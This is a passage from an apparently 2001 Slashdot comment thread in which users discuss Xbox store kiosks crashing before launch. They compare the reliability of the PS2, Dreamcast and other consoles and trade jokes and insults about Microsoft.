      Actually, more of a "if its really this bad"

      I'm actually going to give them the benifit of the doubt and say its no worse than any other system. Chances are most of the reported problems are because of heat and really bad abuse.

      I still do think that having a HD and a big honkin heat monster of a PIII chip in there is going to (eventually) cause problems. Maybe by that point they'll be on to the next machine so it won't matter. Still, its going to be interesting how it plays out. From the reports I've read (taken with the usual grain of salt) it looks like the PS2 will take the lion's share of the X-mas business. I think the fight is going to be for second.

    23. Re:Probably overheating by FatRatBastard · · Score: 2

      I would think for hardware no. Because you're not licensing the X-box. It isn't software. You bought it and its yours. Thus its covered by consumer protection laws (maybe you could make the arguement that the firmware is SW); a EULA can't cover things like hard drives going bad.

    24. Re:Probably overheating by gstoddart · · Score: 1

      So incredibly true. My nephews can't keep the Jewel cases for the games intact.

      A hard drive getting bashed about by the little monsters wouldn't survive. =)

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    25. Re:Probably overheating by Winged+Cat · · Score: 1

      Ok, so include a cheap fan or other cooling system in the enclosures.

    26. Re:Probably overheating by ortholattice · · Score: 2

      Hey, it was meant to be a joke - my humor must be too subtle, sorry. But you do raise an interesting speculation - if software can be licensed instead of sold, why can't hardware, subject to the same terms? In other words you don't own the XBox, you just license it from Microsoft. For the same $299 price (or whatever it is). That way they could have a more or less consistent EULA throughout their product line. Or is this not possible because the "property" not quite as "intellectual"?

    27. Re:Probably overheating by Devilzad · · Score: 1

      There is a cooling fans on the side of the kiosk.

    28. Re:Probably overheating by unitron · · Score: 2
      "Microsoft hardware has had a long repuation (sic) for being high quality."

      Now if we could only get them to subcontract their software.

      But seriously, the last hardware they marketed under their name even approaching the level of complexity (and potential for things to go wrong) of this was probably that "run CP/M on an Apple II" plug in card. There's just so much more to this thing that can go wrong than a mouse or keyboard or joystick. So I don't think we can take previous good experiences as a chisled in stone guarantee this time around.

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    29. Re:Probably overheating by Anonymous Coward · · Score: 0

      Damn /. I've been waiting for a stinkin' password for my account for at least 30 minutes, and I'm not waiting anymore. I'll be GrandBastardB in the future.

      I've got an XBox kiosk at my store and I can tell yo for a fact that the kios keeps the machine nice and cold, espicially if the ambiant temp is nice. So it's not a matter of heat. Our machine did crap out on us once. It didn't give us the GSOD it just blacked out on us.

  10. Screw DOA3, what about Halo? by cryptochrome · · Score: 1, Offtopic

    It damn well better come out for the mac sometime in the near future...

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    1. Re:Screw DOA3, what about Halo? by Xzzy · · Score: 2

      Heck, it better come out on ANYTHING in the near future. Halo was heavily billed as a Mac/PC game ever since it was unveiled, and ever since M$ gobbled Bungie up us keyboard users have taken a back seat to the X-box.

      Current rumors suggest Halo for Mac/PC will be out several months after the X-box release.. to make sure M$ lures as many suckers into buying their POS console before farming the francise out.

    2. Re:Screw DOA3, what about Halo? by Anonymous Coward · · Score: 0
      Whoosh.

      That's the sound of that joke going right over your head. See, DOA stands for Dead On Arrival, and the xboxes are dead on arrival...get it?

    3. Re:Screw DOA3, what about Halo? by Anonymous Coward · · Score: 0

      That reminds me of a pathetic scene from a few years back. I was standing in the line at CompUSA waiting to pay for a spindle of CDR media. Up comes poor Mom with a bawling little boy. He keeps pointing at games near the display that he wants. She keeps saying 'No, that won't run on the Macintosh.'

      Leave it to the Mac to be the machine that makes a small boy cry.

  11. I played it at target. by MxTxL · · Score: 2

    I played the demo box at target. There were like 9 different demos that were just presentations, but there was at least one (the topmost option) that you could actually play... you had to run around and gather coins basically. It wasn't much of a game, being just a demo, but the controls were good and the graphics were cool. As long as the Xbox doesn't get a reputation for blue screen of deathing all the time.... i might consider buying one.

    1. Re:I played it at target. by GTRacer · · Score: 1
      Ahhh, Munch's Oddysee...

      Unless you've seen (or better yet, played) either of the Oddysee games on PSX, then you might not realise what you're looking at - a stellar platformer with a bit of humour thrown in.

      OTOH, as a demo of the almighty XBox, it leaves one with a bitter taste. It's too linear and it doesn't really push any limits. One can only hope Oddworld Inhabitants can reach the same levels that the first two did (at least, before they port it to PS2/GCN).

      And yes, I've seen an XBox crash, at Babbage's, and it was in its Microsoft-designed XBox kiosk. I'm thinking of getting some green vinyl sign letters and putting "E"s on all the XBox signs!

      GTRacer
      - Where's my XBox, Taco Bell?

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    2. Re:I played it at target. by Osty · · Score: 1

      One can only hope Oddworld Inhabitants can reach the same levels that the first two did (at least, before they port it to PS2/GCN)

      Not likely this will be ported to any other platform. Munch's Oddyssey is one of the few truely exclusive XBox titles.

    3. Re:I played it at target. by Anonymous Coward · · Score: 0

      Mostly because the developers were both lazy and not very good programmers. The XBox was their cop-out since they couldn't grasp the more complex systems.

    4. Re:I played it at target. by Osty · · Score: 1

      Mostly because the developers were both lazy and not very good programmers. The XBox was their cop-out since they couldn't grasp the more complex systems.

      Or it could be the large amounts of money Microsoft paid to Oddworld Inhabitants to make it an exclusive title

    5. Re:I played it at target. by Anonymous Coward · · Score: 0

      Wait just a minute....What were you doing at target?!?

  12. you betcha! by HongPong · · Score: 4, Redundant
    Is DOA3 still planned as x-box only?

    I say if the X-box is crashing this much it's pretty much DOA already.

    1. Re:you betcha! by Anonymous Coward · · Score: 0
    2. Re:you betcha! by Anonymous Coward · · Score: 0

      You are mean.

    3. Re:you betcha! by jayhawk88 · · Score: 1

      What are you, the comedy police? At least have the decensy to flame him personally.

    4. Re:you betcha! by seann · · Score: 0

      That was the most original thing I've ever seen.

      Your Great.

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    5. Re:you betcha! by Anonymous Coward · · Score: 0

      Personally? Naaaaah.

    6. Re:you betcha! by Anonymous Coward · · Score: 0

      Could someone explain to me what is DOA? (I am brazilian)

      Thanks. :)

    7. Re:you betcha! by dimator · · Score: 2

      Wow, you're clever!!

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    8. Re:you betcha! by MindStalker · · Score: 1

      Dead on arrival, its also a game.

    9. Re:you betcha! by Red+Avenger · · Score: 1

      Actually its Dead or ALIVE.

    10. Re:you betcha! by MindStalker · · Score: 2

      Yea, but I meant the term DOA refering to the fact that the Xbox was DOA, was dead on arrival. It is of course also a game, in which I was not sure of the acrynms meaning, thank you for correcting me :)
      (a fuck you and a thank you all rolled into one :)

    11. Re:you betcha! by Anonymous Coward · · Score: 0

      No, you are just a sad little confused man.

      Be right when try to be arrogant next time.

  13. Go Linux on the PS2 instead! by Glock27 · · Score: 1, Interesting
    Cnet is carrying an article about a worldwide Linux kit for PS2:

    Sony to expand Linux for PlayStation 2

    Now I know which console I'll be getting this holiday season! :-)

    299,792,458 m/s...not just a good idea, its the law!

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    1. Re:Go Linux on the PS2 instead! by Anonymous Coward · · Score: 0

      Brilliant. The "post a link to a story that was on Slashdot last night in a miserable attempt to karma whore" approach. Very creative.

      I hope it was worth it.

    2. Re:Go Linux on the PS2 instead! by Anonymous Coward · · Score: 0
      Sorry for my dickless AC colleague who failed to notice that this isn't the article posted yesterday.

      But my point is this - where's the fun in having an authorized version of Linux on PS2? I think all the kernel hackers out there should put Linux on X-Box as soon as possible. Then MS can lose their $150 per box and sell zero games because everyone's using them as cheap process servers! :-)

    3. Re:Go Linux on the PS2 instead! by Glock27 · · Score: 1
      Brilliant. The "post a link to a story that was on Slashdot last night in a miserable attempt to karma whore" approach. Very creative.

      The article was posted on Cnet 20 minutes before this topic came up on Slashdot. I thought it was interesting, and hadn't seen it anywhere else.

      Sorry to rain on your parade... ;-)

      299,792,458 m/s...not just a good idea, its the law!

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    4. Re:Go Linux on the PS2 instead! by Glock27 · · Score: 1
      But my point is this - where's the fun in having an authorized version of Linux on PS2?

      Self-hosted development? Ports of all the Loki titles? I don't know really, but it does have a definite 'cool' factor!

      I think all the kernel hackers out there should put Linux on X-Box as soon as possible. Then MS can lose their $150 per box and sell zero games because everyone's using them as cheap process servers! :-)

      This does sound like a fine plan! :-)

      299,792,458 m/s...not just a good idea, its the law!

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  14. How long. . . by jiheison · · Score: 1

    . . .before every one of these is diabled by some local twit?

  15. Interesting Picture by guru_steve · · Score: 3, Funny
    Found this interesting picture of a screenshot from an XBox console having problems loading a file.

    Don't know if it's authentic though

    1. Re:Interesting Picture by Happy+Monkey · · Score: 1

      Heh. At least they made the error screeen all high-tech looking...

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    2. Re:Interesting Picture by Tha_Zanthrax · · Score: 1
      My guess would by it's fake.
      I'm not a pro on how the XBox's OS functions but I don't have a clue how you are going to press/click the OK-button.
      The things on the bottom of the screen show you what certain buttons on the controller do, but I don't see a button for OK amongst them.

      By the way: I'd like a back-button on my WIN98 BSOD !!

    3. Re:Interesting Picture by Anonymous Coward · · Score: 0

      that "select" button probably just activates the hilighted thing, in this case the ok button

    4. Re:Interesting Picture by Anonymous Coward · · Score: 0

      The XDK is the Xbox Dev Kit. Obviously, this screen shot was taken on a debug kit or even worse, on the first XDK (those that were basically silver PCs with the Xbox logo)

    5. Re:Interesting Picture by Anonymous Coward · · Score: 0

      Judging by the consistency with this post, i would guess it's real.

    6. Re:Interesting Picture by ruszka · · Score: 1

      What's amusing is that someone was toting around a camera, just waiting to take that picture :P

    7. Re:Interesting Picture by Dante+Aliegri · · Score: 1

      If you look, the message dialog name is
      XDK Error
      which would imply Xbox Development Kit.
      Thus, I would think it isn't something from an actual game.
      if one could find the story it goes along with,
      it might make more sense.

      --Dante

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    8. Re:Interesting Picture by Anonymous Coward · · Score: 0

      It looks genuine to me. Having said that, it doesn't mean anything terrible. I get it all the time. Usually it means you're trying to load an executable that was built against an old version of the XDK (XBox Development Kit).
      So it's just a SUE (Stupid User Error). Nothing to see here, move along people...
      - An XBox developer

    9. Re:Interesting Picture by Ephol · · Score: 1

      Notice the top of the pic says "XDK LAUNCHER"... XDK stands for Xbox Development Kit (like SDK; what a clever variation! :p) which is the actual hardware box MS has sent out to developers. Being the clever person I am that makes me think that screen is from one of the development boxes. If that pic is from one of the demos that have been having problems in stores, it would also make one think that the hardware in stores is not the final version going on sale here in a few weeks. This would be a Good Thing (tm), unless you just want any excuse to poke fun at Microsoft. :)

    10. Re:Interesting Picture by Anonymous Coward · · Score: 0
      Ephol:
      XDK stands for Xbox Development Kit (like SDK; what a clever variation! :p)

      Yeah. Microsoft is so clever at naming their software. Like naming a windowing system Windows(tm). Or an internet browser Internet Explorer(tm) (hey, at least they didn't name it Internet Browser). Oh, and their sql-capable database (SQL Server). How confusing is that to the ignorant manager-types?

      Not to mention their photo editing software (Photo Editor), their media player (Media Player), their flight simulator, their video editor, project management, money management, DTP (Publisher).... Now, when you look at software they bought up and re-packaged, it's a different story (sometimes).

  16. DOA3 by MG23 · · Score: 1
    Is DOA3 still planned as x-box only?


    Microsoft confirmed a version of DOA3 will be released for the Playstation 2 at some point in the future. Probably a few months off.
  17. Microsoft strategy by Anonymous Coward · · Score: 1

    I'll bet that someone at Microsoft read the article where someone proposed using the Xbox as a web server, running standalone Apache.

    This would be their method of nipping those plans in the bud.

  18. Public Beta Testing? by Dead+Penis+Bird · · Score: 1

    Even though it's not meant as a beta test, this seems is a good way to test Xbox. Microsoft is receiving hundreds of bug reports before release. And it's a demanding test, being on for hours at a time.

    It's like a beta test, except the product is supposedly final.

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    1. Re:Public Beta Testing? by MrResistor · · Score: 2
      It's like a beta test, except the product is supposedly final.

      Hey, it's just like every other MS product I've ever used!

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    2. Re:Public Beta Testing? by Exedore · · Score: 2, Interesting

      It may be a good way to test the Xbox, but it's still a horrible blunder from a marketing standpoint.

      What's your garden variety 12 year old boy going to say when he plays with an Xbox kiosk and it crashes? He's not going to say "Oh. A bug. I guess I'll contact Microsoft with the circumstances and error details." No, he's going to say "Dude, this sucks. I'm getting a PS2."

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      I take drugs seriously.

    3. Re:Public Beta Testing? by Anonymous Coward · · Score: 0
      Unless they have a way to "hot-patch" the system (I don't know if they do) then it is too late to fix this.


      So it is not a public-beta but a "buyer beware".


      btw: if you want to screw microsoft (and I know 90% of you do) post a way to crash XBox and watch the system tank.

  19. could be worse by Quasar1999 · · Score: 2, Funny

    Better the Xbox kiosk than a bank machine (I'm sure you've all seen the pictures)... or airport arrival/departure screens... or on ad billboards... or...

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    1. Re:could be worse by EEBaum · · Score: 1

      Funny you should mention ad billboards...

      Off the 405 freeway in Los Angeles, there was an ad billboard that did just that...

      For a good few weeks, the billboard had a Windows dialog box that read something like "Out of virtual memory."

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    2. Re:could be worse by dorsey · · Score: 1

      or...

      ... the local weather channel on cable. Around here, that channel's programming is entirely powerpoint presentations on NT4. And it seems that noone who is responsible for running the station ever checks on it. When their system crashes, it will sometimes stay that way for weeks...

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  20. fucking retards by mosch · · Score: 2, Interesting
    who would want a first-gen microsoft designed console anyway? Everybody knows microsoft gets it almost right on the third try, not the first try.

    As far as DOA goes, yeah, I think the X-Box is DOA.

    1. Re:fucking retards by NeoTomba · · Score: 1

      Wait, by this logic, Microsoft got it right with Windows 3.0

      I mean, unless I'm rediculously mistaken here, Windows 3.0 was a pretty shitty OS.

      -NeoTomba

    2. Re:fucking retards by jiheison · · Score: 1

      You are rediculously[sic] mistaken. For it's time, it wasn't all that shitty.

    3. Re:fucking retards by lupetto · · Score: 1

      I don't think windows 3.0 is really an OS - how about dos 3.0?

    4. Re:fucking retards by MindStalker · · Score: 1

      Well in comparison to 1 and 2 which were so bad they barly even will publically admit to have ever made. 3.0 Was a fairly good product, and 3.1 was rock solid, for what it was.

    5. Re:fucking retards by Anonymous Coward · · Score: 0

      Heh, windows 3.0 was an application that you could run other applications on top of. :)

    6. Re:fucking retards by Dephex+Twin · · Score: 1

      Compared to what-- the Mac OS? I can understand nowadays when people say there's no clear winner among operating systems, but back before Windows 95 Microsoft was WAY behind Mac System 7.

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    7. Re:fucking retards by jiheison · · Score: 1

      I can understand nowadays when people say there's no clear winner among operating systems

      Who, outside of this forum, is saying THAT? Granted, OSX and Linux are superlative operating systems. Nonetheless, Windows is still the clear winner for the average user who wants to surf the web, work up a few documents and play games.

    8. Re:fucking retards by Anonymous Coward · · Score: 0

      Let's see -- crashed all the time, and had a worse GUI than what was state of the art for the Apple II.

      Yes, Windows 3.0 was really that bad. On the other hand, it came as the free prize in your box of DOS.

    9. Re:fucking retards by Anonymous Coward · · Score: 0

      Windows 3 had a driver architecture and memory management -- it's as much as a 'real OS' as Windows 9x is.

    10. Re:fucking retards by Anonymous Coward · · Score: 0

      Guess what an operating system is?

    11. Re:fucking retards by Anonymous Coward · · Score: 0

      Only for those of us who weren't rich-boy nancies who bought a Mac.

      Some of us built our own systems with phillips screwdrivers, etc. even back then.

      The Macintosh of that era was specifically designed to be impossible for the average person to open, and then specifically designed to be easily broken (what fun! I've broken the glass seal off the CRT again!!) once opened.

      Mac System 7?

      Hah.

    12. Re:fucking retards by Anonymous Coward · · Score: 0

      class and sexuality issues-nice combo

    13. Re:fucking retards by unitron · · Score: 2
      So Windows 3.0 was the operating system and the DOS necessary to install or run it was what, a BIOS extension?

      Keep moving that line around and one could say that one's computer runs on Notepad or Freecell.

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  21. So much for quality control... by jmerelo · · Score: 1

    If they ship buggy hardware boxes, no wonder their OSs have holes bigger than you can stuff unsold XP boxes into...

  22. Re: Is DOA3 Xbox only? by Cutriss · · Score: 1

    Yes. But thank the gods, Soul Calibur 2 is NOT!

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  23. IMHO an excellent point... by mystery_bowler · · Score: 5, Insightful

    A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."

    Now I know the PS2 had some backward-compatibility problems, but other than that, has it been rock-solid? I know I've never had so much as a hiccup from my Dreamcast.

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    1. Re:IMHO an excellent point... by Dimensio · · Score: 3, Interesting

      PS2 does have some backwards compatability problems with a few PSX games (often those problems pop up only when using the "advanced" PSX features: texture smoothing and fast disc access). It also has some problems with a few DVD movies (may of which are resolved with updated drivers that can be put on a memory card), but 1) every DVD player has problems with at least a disc or two and 2) the PS2 is marketed as a PS2 game playing console first, DVD player second.
      I've also never seen an incident of a PS2 breaking down or crashing in a kiosk (though I never asked much).

      I've lurked quite a bit on PS2 discussion boards and I've not heard much about problems with actual PS2 games on the PS2 console. Pretty stable, apparently.

    2. Re:IMHO an excellent point... by brunes69 · · Score: 2

      I've never had a PS2 lock up on my. Also, it plays my Gladiator DVD fine, whereas playing it o my PC causes it to lock up in this one specific part every time (when Maximus is fleeing the prison), boht in windows and linux. Dunno whats up, maybe bad sector on the disk? Anyways, the PS2 rolls through it without even a skip.

    3. Re:IMHO an excellent point... by robi2106 · · Score: 1

      Exactly. I have been playing console systems since Atari and I haven't know them to have problems such as this. I know several friends of mine that are hard core console system gamers that would throw a fit if their Final Fantasy VII games "hickuped" in the middle of a cut scene. If the current trend continues, then M$ will fell what it is like to enter the world of actual customers (not just prisoners in their M$ OS land).

      robi

    4. Re:IMHO an excellent point... by jiheison · · Score: 1

      My Dreamcast has managed to produce a black screen with a little error code in the top left corner. Happened to a friend of mine to.

    5. Re:IMHO an excellent point... by FatAssBastard · · Score: 1

      They do lock up occasionally. A good friend of mine has one that we play pretty regularly. For instance, we were playing a game of NBA Live 2001 and it locked hard about 2 minutes into the game. We had to do a manual reset of the whole system.

      This happens maybe once every other time that we get together to play. Not really a big deal, but it does happen.

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    6. Re:IMHO an excellent point... by jiheison · · Score: 1

      Then again, Dreamcast is a WindowsCE device

    7. Re:IMHO an excellent point... by 3am · · Score: 1

      maybe it's hopelessly optimistic, but maybe they'll learn something from it.

      more likely, they'll crush their competitors, blah, blah, blah...

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    8. Re:IMHO an excellent point... by GarryOwen · · Score: 1

      I've actually had a dreamcast lock up, but I was never able to replicate it and a reboot solved the problem.

    9. Re:IMHO an excellent point... by jiheison · · Score: 1

      Come to think of it, this happened on a regular basis with my PS1. Particularly while playing Driver. Most annoying, but easy to fix. Heck, I've pretty much gotten over it.

    10. Re:IMHO an excellent point... by John_Booty · · Score: 2

      I left my PS2 on for a week to see if it would crash due to overheating or anything, but it never did. Granted, the game was paused, so the CPU(s) and drive weren't doing much. However, the USB Logitech force-feedback wheel for GT3 on the PS2 is notoriously buggy due to poor drivers or whatever... sometimes the wheel just stops responding.

      I've never had an actual *crash* from my Dreamcast or my PS2... or any other console for that matter, aside from freezes due to scratched disks or worn-out CDROM drives.

      However, I've heard of the Turok game for N64 being buggy, with lockups and even partial memory/stack dumps being printed to the screen (I've read about it online, plus witnessed a 7-year old kid telling an EB clerk about the problem at the store). Apparently there were like 2,3 or 4 revisions of the game released (not sequels, just revisions trying to fix the bugs), though I could be wrong, since I've never even played the game.

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    11. Re:IMHO an excellent point... by evilned · · Score: 2

      Not nessecarily, the OS is loaded with the game. Most of the best games for dreamcast used segas proprietary OS instead. I'm only aware of two games that used WinCE, some casino game, and Sega Rally 2. The really amazing games like Crazy Taxi, the NFL series, Soul Caliber, and Skies of Arcadia all never used WinCE.

      Now as far as Microsoft making a poor console that crashes? Well, I have a first gen PS1 that locks up and hiccups quite a bit, a little fun with the bias screw, a fan stand and unplugging the power supply when not in use helped, but honestly I shouldnt have had to do that. Still it had some great games that I enjoy. It also taught me a lesson, being the first on the block to buy a console is a bad idea. Wait till the second revision of the machine comes out and then buy. Usually then this sort of problem is solved.
      On top of that, by that time, the price has dropped and the second and third gen games are out.

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    12. Re:IMHO an excellent point... by SuiteSisterMary · · Score: 2

      The funniest crash I've seen is in the N64 game Conker's Bad Fur day. Don't read this if you don't like spoilers. Towards the end, Conker is about to be killed by an "Aliens" xenomorph. Then it freezes. Solid. Conker looks around. Just his eyes move. Then he climbs out of the "Aliens" exoskeleton, looks around, and says something to the effect of 'oh look, a total freeze/lockup bug made it past the programmers." He then proceeds to blackmail the programmers (who interact with him through a green c:\ type prompt which appears on screen) to get rid of the beastie and give him cool things.

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    13. Re:IMHO an excellent point... by pmz · · Score: 1

      My PS2 has behaved well.

      Also, keep in mind that some crashes are not due to the console, but due to the software (i.e., game). An infinite loop can appear to lock up a machine just as much as a hardware chip failing.

      Those Windows-based consoles just have a lot more software (the "one bug per thousand lines of code" theory of Windows instability).

    14. Re:IMHO an excellent point... by DickBreath · · Score: 2

      A good friend of mine once said that if MS's development track record held up....."People don't expect their console to crash. If it does, they'll return it."

      Ah. The key assumption here, which I think is faulty, is one of expectation. I agree that if people don't expect it to crash, then they'll be unhappy when it does.

      I think that people will just come to accept that it crashes every so often. After all, it's Microsoft. This won't hurt them a bit.

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    15. Re:IMHO an excellent point... by deisom · · Score: 1

      I'm not so sure about that. Part of what separates console gaming from PC gaming is that it just works--turn the console on, pop the disc in, and a few moments later you're in business. You don't have to worry about updating your operating system, configuring your hardware, or downloading the latest bugpatches for the game itself. In this respect, console games are more like a reliable toy than operating a PC. It looks like the Xbox is going to perform more like a PC, not surprising given its architecture and operating system.

    16. Re:IMHO an excellent point... by drinkypoo · · Score: 1
      I had problems with games running with smoothing and/or fast load enabled (the down side of optimizing too far.) My biggest complaint with the PS2 is that it is very intolerant of damage to a DVD movie. In my Apex 3201, my copy of The Breakfast Club chokes when it hits a scratch (sigh) but the PS2 craps out entirely. Not the best design, I think. I'd bet it's a software issue more than anything, they just give up too quickly when there is an error.

      Other than that, I've had two PS2s, a first-generation american model, and a brand spanking new one which I bought as part of the A-Spec combo. Neither one gave me any trouble with any of the games I've played, and as long as you don't turn on the special options for PSX emulation, I haven't had any back compatibility issues, either.

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    17. Re:IMHO an excellent point... by kdoherty · · Score: 2, Informative

      I tend to keep my gaming consoles running for a long time, and my first PS2 died within a week. I've had freezeups with Gran Turismo 3 (not using the wheel), and Dave Mirra 2 (which has an annoying bug where it'll freeze up and do this odd blinking thing after a long period of continuous use.

      I've seen 3 Dreamcasts fail because of bad CD drives. On one, the motor died, on the others, it was the actual CD logic board. The software was more solid though.

      Really, as we get more and more moving parts into consoles, they're going to become less reliable. That's just how it works. I bought a well-worn SNES on eBay a few years ago and it had over a year-long uptime. Same with my N64. However, my PS2 and Dreamcasts, with CD drives and fans, have been noticably less reliable. When you see hard disks come into the fray, expect this to increase significantly.

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    18. Re:IMHO an excellent point... by dark_panda · · Score: 5, Informative

      Early PS2 releases were known to be somewhat buggy. Several games like Madden 2001 and Tekken Tag Tourament were known to cause regular lockups way back during the PS2 release. This was later fixed in subsequent versions. The shitty thing is is that you can't tell one version from the next, and I think the license even says they can change the game without notice, so if you get a buggy one, you're out of luck when they release a fixed edition.

      I rented one of the buggy TTTs a few weeks ago. I could barely play an entire game without it locking up.

      The recent Gauntlet title, Dark Legacy, has also locked up my machine on a few occaisons.

      J

    19. Re:IMHO an excellent point... by steveo777 · · Score: 1

      My brother has now been through three PS2's. He keeps sending them in and they keep "fixing" them, or giving him a new one. Until the warentee voids on one of them, this will continue (IE buy one, switch serials, and return should do the trick).
      The first problem was that the video decided one day to stop outputting. Then next problem was the tray didn't close all the way. Then there were more video problems. It's been a hairy mess for him, but he likes the thing enough to put up with it.
      I suppose if the XBox gets some killer apps, then it could be succesful (assuming the final release loads >60% of the time). Not bloody likely, though.

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    20. Re:IMHO an excellent point... by DickBreath · · Score: 2

      Part of what separates console gaming from PC gaming is that it just works---turn the console on, pop the disc in, and a few moments later you're in business. .

      But this betrays your very assumption that PC gaming just doesn't work.

      Why shouldn't PC gaming just work? If I buy a Honda, I expect it to "just work".

      Your reply illustrates that people can come to simply accept that Microsoft products are unreliable.


      You don't have to worry about updating your operating system, configuring your hardware, or downloading the latest bugpatches for the game itself.

      Most people don't do some of these things with their PC's either. We tend to make assumptions because we're geeks. Lots of people buy a PC and never upgrade it. They add a few software titles, just as they might buy more games, but that's it. Or at the very least, any "upgrades" are completely hidden behind a layer of "Windows Update" simplicity. Consumers certianly don't install OS upgrades in the sense we might think of.


      ...console games are more like a reliable toy than operating a PC. It looks like the Xbox is going to perform more like a PC, not surprising given its architecture and operating system.

      And hence my point. The Xbox is going to crash more like a PC because it is from Microsoft. If we [i.e. Joe Consumer] accepts this from his well-branded Windows logo, then he may simply accept it from a toy bearing the same brand logo.

      Any marketing drone will blather on about building a Brand. Just ask them. It seems that MS very well may have done this. :-) And it could well be in their favor in that they've conditioned people to be satisfied with less. Therefore, they may just accept that it crashes sometimes.

      Obviously, I think you have a point, in that some consumers who are not MS brand aware will be surprised and dissatisfied that it crashes. But how many Xbox homes already probably have a PC?

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    21. Re:IMHO an excellent point... by Anonymous Coward · · Score: 0

      I have personally witnessed at least two in-store Dreamcast kiosks that didn't work.

    22. Re:IMHO an excellent point... by Afrosheen · · Score: 1

      Try turning on your air conditioner or taking it out of the lead box.

      Just kidding. I made the mistake of buying a first-gen ps2 around March. Almost 3 months later to the day, it wouldn't read DVD's. So what I was left with was a ps1 since all the new games are on DVD. I just hocked it for $150 and took the hit. Otherwise Sony would've gotten another $120 off me and I didn't feel like giving them anymore cash. They're super fucking irresponsible for issuing the shortest warranty period of all time.

    23. Re:IMHO an excellent point... by tkrotchko · · Score: 1

      The version of Dark Legacy I had played very well on our PS2.

      It really is an excellent game in multiplayer mode. Perhaps one of my favorites.

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    24. Re:IMHO an excellent point... by zbuffered · · Score: 1

      I bought TTT the day it came out, right alongside my PS2. I waited up all night to get it. I didn't have enough money to buy a memory card, and this was the only game I had (Blockbuster didn't carry PS2 games yet), and I didn't want to have to start over to get the special characters, so I never turned it off. For 3 weeks, I had the same game in there, on 24/7, being played 2 hours a day. I never had a single lock-up, nor have I since. PS2 has never, ever crashed on me. X-Box had better not either.

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    25. Re:IMHO an excellent point... by Anonymous Coward · · Score: 0

      Well, that may be due to the fact that Dreamcast ran a stripped down verion of Windows CE to play it's games.

      Next time.. think before you speak, fuckface.

    26. Re:IMHO an excellent point... by RyuuzakiTetsuya · · Score: 1

      That's to be expected froma n inital release.

      Such as the DC suffered a similar problem, a bunch of launch titles got stamped incorrectly as being region coded for Europe instead of the US, granted it's not as bad as locking up in the middle of a game, but after about 3 returns, Ifigure I'd just give up and use a swap trick to play my inital release copy of sonic adventure.

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    27. Re:IMHO an excellent point... by c0rtez · · Score: 1

      ooof...

      My PS2 has been giving me SERIOUS trouble with Disc Read Errors, ever since I played GT3a for the first time on it. It takes approximately 1.5 hours each time to get it started, so I leave it on almost 24/7. When I called up Sony, they said it was BECAUSE I was leaving it on so much, and since its out of warranty, I'm SOL (i refuse to pay $200 for them to fix a manufacturing defect.)

      Anyhoo, it sucks. I guess my only recourse is to go buy a new one, swap it with my old one, and return it. Dishonest? Well, shit if I'm gonna be stuck with a defective unit. I just hope it gets sent back to sony and not pawned on some poor sucker...

    28. Re:IMHO an excellent point... by Martin+Spamer · · Score: 2


      I had a few problems with some of the early free demo games, but no problems with proper commecial releases.

      It's certainly more reliable than my old Windows games PC.

    29. Re:IMHO an excellent point... by Anonymous Coward · · Score: 0

      OTOH, current games are 10 times more complicated that those Atari. It's fairly normal to see more bugs in games that took a team of 20 a few manyears each, than in software that took a team of 2 a few months.

    30. Re:IMHO an excellent point... by flegged · · Score: 0
      Did I just read that right?

      [problems with the PS2]are resolved with updated drivers that can be put on a memory card


      Yes, right there in black and white. So let me get this straight, so I don't miss anything important. You're saying that Sony, do/can/have/has already updated their drivers for their console? Am I the only one who thinks there's something wrong with this picture?

      Maybe I did miss something. I'll try again. So you're saying Sony, the company that makes the PlayStation and the PlayStation 2, have had to issue service packs for their console. And you're Okay with that? Bearing in mind that this is not Microsoft we're talking about.

      Why was this not on Slashdot? After all, the slightest thing that goes wrong with the XboX, which remember, isn't even released yet, gets the front page and >600 comments regarding how bad Microsoft is, and how they'll be issuing bug-fixes.

      And yet Sony have already done this?

      Am I the only one who thinks there's something wrong here?
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    31. Re:IMHO an excellent point... by flegged · · Score: 1

      "It just works" - wasn't that a slogan of Apple?

      Until people realised that it translated directly from marketese to
      "It's just this side of broken".

      I personally am glad the OS is win2k. I've never had an unrecoverable crash on my machine (well, once, using pre-release drivers from Gravis), since I bought it a week after it was released (over a year ago).

      My Windows 2000 machine "just works" (your definition, not mine).

      I expect the uptime of the XboX to be measured in weeks, as long as the system is kept cool. After all, you don't switch off your VCR after you're done with it do you? Nor do you switch off your webserver. The XboX is somewhere in between.

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    32. Re:IMHO an excellent point... by Anonymous Coward · · Score: 0

      No it didn't fuckface

    33. Re:IMHO an excellent point... by Dimensio · · Score: 2

      The "service pack" was a DVD update driver to resolve some movie playback functions not unlike firmware updates for standalone DVD players.

      1) This affects *only* the DVD movie playback feature, it has no impact whatsoever on the games themselves. The PS2 is, as I stated, a gaming console for PS2 games *first* and everything else second or further.

      2) While I don't like it, DVD firmware updates are common amongst console DVD players as the features of some newly released DVD suddenly breaks on an existing console (what with the DVD standards being so intricate and multi-faceted). Most firmware updates require sending the unit to a service center, the PS2 method is much easier by comparison.

    34. Re:IMHO an excellent point... by flegged · · Score: 1

      ...not unlike firmware updates for standalone DVD players

      So because others have done it it's all right?

      Can you honestly say that if it were Microsoft who did this, that you wouldn't be screaming for blood?

      And yet every other DVD player manufacturer can get away with this?

      (And how does a comment with no moderation get a -1:Overrated? To avoid metamodding due to your hypocrisy perhaps?)

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  24. So? by Anonymous Coward · · Score: 0

    I find it funny that people would find this news. Remember, we are dealing with the king of crashing. Now, if the XBox was Linux, do you think there would be out of order signs?

    1. Re:So? by Anonymous Coward · · Score: 0

      No, it would probably do a memory dump on the screen, and you would be expected to disassemle the binary code yourself, otherwise you'll be labelled as "stupid" by the Linux community.

    2. Re:So? by Anonymous Coward · · Score: 0

      No, but you wouldn't find any games on it, either.

      (intended as a subtle jab at the commercial availability of Linux applications)

  25. Wouldn't it be funny if... by uigrad_2000 · · Score: 1

    The reason the audio has popps and clicks was because it was ripped from a copy-protected CD?

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  26. Unprecedented? by Anonymous Coward · · Score: 0

    Well, this is something new. Have we ever seen a mass-market console system that flat out didn't work out of the box.

    Only from Microsoft!

  27. Have they tried... by siegesama · · Score: 4, Funny


    Taking out the Demo and blowing on it? Then they need to blow into the box itself before putting the demo back in. Then ya gotta hold down the reset button and sorta *tap tap tap* on the game, and it'll come on if you've got the "touch".

    /FLASHBACK CONSOLE="NES"


    oh, wait. What? Oh, XBox. Right.

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    1. Re:Have they tried... by __aawwih8715 · · Score: 1


